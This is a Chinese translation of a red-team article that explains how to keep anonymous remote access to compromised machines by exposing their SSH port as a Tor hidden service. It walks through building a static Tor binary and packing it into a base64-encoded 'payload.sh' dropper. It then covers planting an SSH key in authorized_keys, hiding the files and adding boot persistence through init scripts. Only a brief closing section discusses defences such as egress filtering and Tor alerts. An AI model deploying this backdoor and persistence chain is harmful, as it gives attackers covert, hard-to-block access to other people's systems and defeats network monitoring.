使用Tor繞過防火牆進行遠端匿名訪問

wyzsk發表於2020-08-19
作者: 左懶 · 2015/11/12 16:53

from:Hack Like the Bad Guys – Using Tor for Firewall Evasion and Anonymous Remote Access

0x00 摘要


在這篇文章中,我將使用一個工具和一組Red Team的技術進行保持匿名性訪問受感染的機器。同時,我會提供一些檢測後門和應對這類攻擊的建議。

這並不是一個全新的理念,但據我所知這些技術還沒從滲透測試和Red Team的角度進行深入談論。至少從2012年開始就有惡意軟體的作者使用這些技術。如果他們這麼做,我們當然也不能落後。

0x01 動機


那些使用成熟的安全專案的高階使用者,每天都在監視著受害主機。當你使用IP地址遠端訪問時發現被阻止了,如果你還不趕緊退回去。那麼攻擊者的心情要是壞透了,他可能會試圖找出IP地址的擁有者。到時候追究到你的團隊就尷尬了。

一個簡單可靠的解決方案是使用Tor。Tor網路可以用來訪問受感染主機。那麼Tor提供了哪些功能呢?

  • 匿名服務。
  • 不斷變換IP地址讓流量不會被阻塞在網路層。
  • 模糊協議,使用Tor橋和Pluggable Transport進行繞過協議檢測。
  • 代理支援。
  • 安全的Shell,使得客戶不必承受不必要的風險。
  • 能夠使用受害的機器作為支點訪問其它內部網路的主機。

0x02 安裝配置Tor


實際上安裝配置起來意外地簡單!

但在開始之前,先回顧一下那些比較陌生的Tor概念。

TOR 101 網橋和目錄(BRIDGES AND DIRECTORY)

讓我們從下圖開始:

假設Alice想透過企業網路跟生病的奶奶在facebook上聊天。但不幸的是,企業的老闆太沒有同情心了。不允許員工在企業網路訪問facebook。作為一個孝順的孫女,Alice帶來了一個存放了Tor客戶端的隨身碟。

Alice的Tor客戶端第一件事需要獲取Tor中繼列表,讓它可以在網路上其它計算機上的執行的Tor客戶端接受和中繼加密流量。預設情況下,這是透過連線到1到9個“目錄伺服器(Directory Servers)”來實現。

為了繞過其他人的眼球,Alice使用了Tor“網橋(Bridge)”。網橋第一個作用就是作為Alice和Tor網路之間的支援物。網橋還可以透過“Pluggable Transport”支援的模糊協議掩蓋流量讓它不容易留下指紋。此外,網橋沒有提供公開的列表。它們只能在同一時間獲取幾個。

TOR 102 隱藏服務和接入網際網路

現在Alice可以跟一些Tor中繼交流,假設她現在想訪問Bob的web服務。下面的圖片顯示了Alice的訪問過程:

Tor另一個重要的功能是”隱藏服務“。類似於SSH隧道,隱藏服務接受本地TCP埠傳入到Tor網路的流量中繼到另一個Tor配置檔案指定埠的主機。這挺有趣的,因為Tor網路監聽埠傳入連線可以繞過正規的網路防火牆。

任何連到Tor的隱藏服務都可以定址”.onion“地址。每個隱藏服務豆油一個隨機的RSA私鑰用於加密所有通訊內容。對應的公鑰部分hash被用於”.onion“地址。所以它們通常看起來類似:”ab88t3k7eqe66noe.onion“。

所有Tor客戶端到Tor隱藏服務的流量都是端對端加密。如何發起連線到隱藏服務和中繼的詳細機制可以在這篇文章檢視。需要注意重要一點的是,隱藏服務的名稱會告知給Tor網路上少數節點。這是連線必要的條件。但這意味著隱藏服務不會被100%隱藏。

為什麼會有這種事?

因為Tor網路,特別是隱藏服務是所有攻擊者的夢想。

考慮透過隱藏服務轉發”2222“TCP埠到感染機器的SSH監聽TCP埠”22“。

在這種情況下,我們可以透過以下方式來連線感染的機器:

#!bash
ssh -i /path/to/key -p2222 [email protected]

此連線在Tor網路上被匿名中繼,繞過防火牆規則,甚至是代理和記憶體檢查。

使用上面的SSH隧道,我們可以做各種事情:劫持,轉發等等。

在Window機器上,445 SMB埠和3389 RDP埠也可以透過Tor網路實現上面的效果。

0x03 放碼過來!


這樣做的好處是,很少需要定製程式碼。Tor的開發團隊已經把髒活都做好了。你所需要的就是安裝好一個靜態編譯的二進位制檔案並設定對應的配置檔案。更nice的做法是,把它們捆綁到一個shell指令碼,然後上傳到目標機器,執行,搞定!接下里我們介紹這些內容。

構建傻瓜式靜態二進位制檔案

一個靜態編譯的二進位制檔案包含了所有所需的函式庫。這意味著一個靜態編譯的二進位制檔案即可以在Ubuntu x64執行,也可以在Red Hat x64機器上執行。

不幸的是,靜態編譯Tor在Linux上支援並不完美。至少在Debian系的系統上使用該編譯選項似乎沒辦法工作。所以做好應對除錯GCC輸出報錯資訊的心理準備。

我們在Kali 2.0上先下載一個新的Tor原始碼包和編譯所需的依賴開發包,然後解壓。

#!bash
wget https://www.torproject.org/dist/tor-0.2.6.10.tar.gz
tar xzvf tor-0.2.6.10.tar.gz
cd tor-0.2.6.10
apt-get install libssl-dev libevent-dev zlib1g-dev

接下來執行配置指令碼,我們可以簡單地鍵入以下命令來靜態編譯,但根據環境的不同,我和你的編譯選項可能會有所不同:

#!bash
./configure --enable-static-tor \
    --with-libevent-dir=/usr/lib/x86_64-linux-gnu/ \
    --with-openssl-dir=/usr/lib/x86_64-linux-gnu/ \
    --with-zlib-dir=/usr/lib/x86_64-linux-gnu/

儘管我上面安裝了libssl-dev,但還是產生了所錯:

#!bash
checking for openssl directory... configure: WARNING: Could not find a linkable openssl. If you have it installed somewhere unusual, you can specify an explicit path using --with-openssl-dir
configure: WARNING: On Debian, you can install openssl using "apt-get install libssl-dev"
configure: error: Missing libraries; unable to proceed.

嘗試一下不選用編譯選項,重新輸入下面兩條命令進行編譯:

#!bash
./configure
make

現在用LDD命令看看用上面指令編譯出來的Tor二進位制檔案需要哪些動態庫檔案:

#!bash
cd src/or
ldd tor    

linux-vdso.so.1 (0x00007ffe02d00000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x00007fd6982c3000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fd697fc2000)
libevent-2.0.so.5 => /usr/lib/x86_64-linux-gnu/libevent-2.0.so.5 (0x00007fd697d7a000)
libssl.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libssl.so.1.0.0 (0x00007fd697b1a000)
libcrypto.so.1.0.0 => /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.0 (0x00007fd69771f000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fd697502000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fd6972fe000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd696f55000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd6988b7000)

蛋疼,需要不少動態庫。那麼如何構建一個不需要使用動態連結庫的二進位制檔案?在之前編譯Tor二進位制,執行”make“的時候也會編譯所有的庫,我們現在只需要手動構建一個靜態二進位制檔案。那麼,我不會太深入細節,但這裡是“GCC”命令來做到這一點(注意,這應該是從SRC目錄下執行):

#!bash
gcc -O2 -static -Wall -fno-strict-aliasing -L/usr/lib/x86_64-linux-gnu/  -o tor tor_main.o ./libtor.a ../common/libor.a ../common/libor-crypto.a ../common/libcurve25519_donna.a ../common/libor-event.a /usr/lib/x86_64-linux-gnu/libz.a -lm /usr/lib/x86_64-linux-gnu/libevent.a -lrt /usr/lib/x86_64-linux-gnu/libssl.a /usr/lib/x86_64-linux-gnu/libcrypto.a  -lpthread -ldl

這是會吐出一堆的警告,但都是可以相對安全地忽略(我還是比較喜歡看到編譯錯誤啊)。

使用”-static“告訴gcc編譯一個靜態二進位制檔案。”-L“選項告訴GCC怎麼去查詢libssl,libz和libevent開發包。Debian系列的作業系統把它們安裝在“/usr/lib/x86_64-linux-gnu/”。”-o“選項指定輸出的檔名和所有需要連結在一起的”.a“字尾檔案。

完成之後再執行”ldd“:

#!bash
ldd tor
not a dynamic executable

OK,已經沒有依賴動態連結庫。

配置Tor

Tor執行時需要指定一個配置檔案,通常情況下配置檔案的名字是”torrc“。下面是一個toorc配置樣例,開啟你喜歡的編譯器然後貼上下面的語句:

Bridge 176.182.30.145:443 DE54B6962AB7ECBB88E8BC58BEA94B6573267515
Bridge 37.59.47.27:8001 E0671CF9CB593F27CD389CD4DD819BF9448EA834
Bridge 192.36.27.122:55626 35E199EFB98CDC9D3D519EA4F765C021A216F589
UseBridges 1
SocksPort 9050
SocksListenAddress 127.0.0.1
HiddenServiceDir ./.hs/
HiddenServicePort 2222 127.0.0.1:22

網橋的配置資訊可以從bridges.torproject.org獲取。你應該根據自己的環境替換它們。注意,一些特定的TCP埠在你的環境上可能不夠許可權執行(或者被佔用),你應該找另外一個埠替換掉。上訴的例子中,443 TCP埠通常是不夠許可權使用的。

接下來兩行“HiddenService”配置Tor所需的隱藏服務。 執行我們的新的隱藏服務進行測試,只需執行以下命令:

#!bash
./tor -f /path/to/torrc

執行後將建立一個新目錄”.hs“,該目錄下有一個”hostname“檔案。如果你cat一下這個檔案的話可以看到一個你可訪問你的隱藏服務的”.onion“地址。

假設SSH服務的機器上執行,我們應該能夠從另一臺計算機透過Tor網路連線到它。

#!bash
ssh -p2222 [email protected]

執行上面的命令,需要你的機器能夠連線到Tor網路並能路由TCP流量。一個更簡單的方法是執行一個已經為你配置好的虛擬機器,如Tails和Whonix。如果打算用虛擬機器的話我推薦使用Whonix。這些都很容易設定,所以我們沒辦法獲取更多細節內容。

建立自動化安裝檔案

讓我們用bash指令碼建立一個很酷的安裝檔案。

先把Tor二進位制檔案和修改後的torrc檔案複製到新目錄:

#!bash
mkdir ~/payload
cp tor torrc ~/payload
cd ~/payload

還有一個重要的元件要新增到安裝檔案當中。因為Tor的執行要求系統有一個準確的時間。一個方法是,從一些知名網站使用的HTTP頭解決。當你傳送一個HTTP請求到Web伺服器時,一些Web伺服器會在它的響應中新增上當前時間。我們可以把系統時間調整到這個時間(需要root許可權)。這一切都可以透過下面的perl指令碼搞定:

#!bash
wget http://www.rkeene.org/devel/htp/mirror/archive/perl/htp-0.9.3.tar.gz
tar xzvf htp-0.9.3.tar.gz
cp htp-0.9.3/sbin/htpdate-light .

現在執行sudo ./htpdate-light跟Google HTTP伺服器進行時間同步。

接著對檔案進行壓縮以減少安裝檔案的體積:

#!bash
tar cvzf binaries.tar.gz tor htpdate-light

現在我們建立一個安裝指令碼。在”payload.sh“指令碼上把tar檔案的base64編碼儲存到”torbin“變數。

#!bash
echo '#!/bin/sh' > payload.sh
echo -n 'torbin=' >> payload.sh
cat binaries.tar.gz | base64 -w 0 >> payload.sh

然後用你喜歡的編輯器開啟payload.sh,把下面的指令追加進去:

echo $torbin | base64 -d > binaries.tar.gz
tar xzvf binaries.tar.gz
rm binaries.tar.gz
chmod +x tor
echo '
Bridge 176.182.30.145:443 DE54B6962AB7ECBB88E8BC58BEA94B6573267515
Bridge 37.59.47.27:8001 E0671CF9CB593F27CD389CD4DD819BF9448EA834
Bridge 192.36.27.122:55626 35E199EFB98CDC9D3D519EA4F765C021A216F589
UseBridges 1
SocksPort 9050
SocksListenAddress 127.0.0.1
HiddenServiceDir ./.hs/
HiddenServicePort 2222 127.0.0.1:22
' > ./torrc
perl ./htpdate-light google.com
./tor -f ./torrc

我不建議在當前目錄執行”payload.sh“。因為它會覆蓋你的其它二進位制檔案。如果想測試的話把它複製到/tmp/目錄下執行。

#!bash
bash payload.sh

payload.sh會啟動Tor匿名服務並繫結到SSH監聽埠。要使用ssh登入的時候,我們只需要./.hs/hostname的主機名。如果你不知道使用者的密碼的話,可能還需要新增一個ssh金鑰到~/.ssh/authorized_keys。

開機啟動

如果你想在開機啟動的時候用root使用者啟動服務,最簡單的方法是修改”/etc/init.d“的init指令碼。最好是把二進位制檔案和配置檔案複製到一些不顯眼的地方。然後修改”init“指令碼讓Tor在開機時啟動。

利用代理繞過協議檢測

希望上面一切順利,你不需要看這部分,因為這部分給不了你什麼幫助:)。Tor網橋可以透過”pluggable transports“設定混淆,使流量看起來跟之前不一樣。也可以透過”torrc“檔案配置透過代理伺服器推送流量。在後續我們可以詳細說明一下怎麼配置這個。因為會使這篇文章變得很長。

0x04 防禦


不幸的是,這種型別的攻擊很難在網路層上阻止。這就是為什麼我們使用它。使用”pluggable transports“和Tor網橋,攻擊者可以混淆流量讓它看起來像是正常的HTTP或HTTPS,並直接透過你的公司代理伺服器使用一些”torrc“檔案的選項。所以一些人在編譯Tor的時候提供一些特性防止檢測和審查。

第一步是確保出口的TCP流量被適當的過濾。攻擊者想找到允許給定埠透過防火牆出站的任何異常是微乎其微。所有出口流量都應該強制透過公司代理出去。

代理的資料包檢查在攻擊之下會停止。如果你在凌晨1點前享受滾被單的話,應該配置上檢測Tor連線報警。Tor的連線是100%會有人想做一些你不想他們做的事情。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章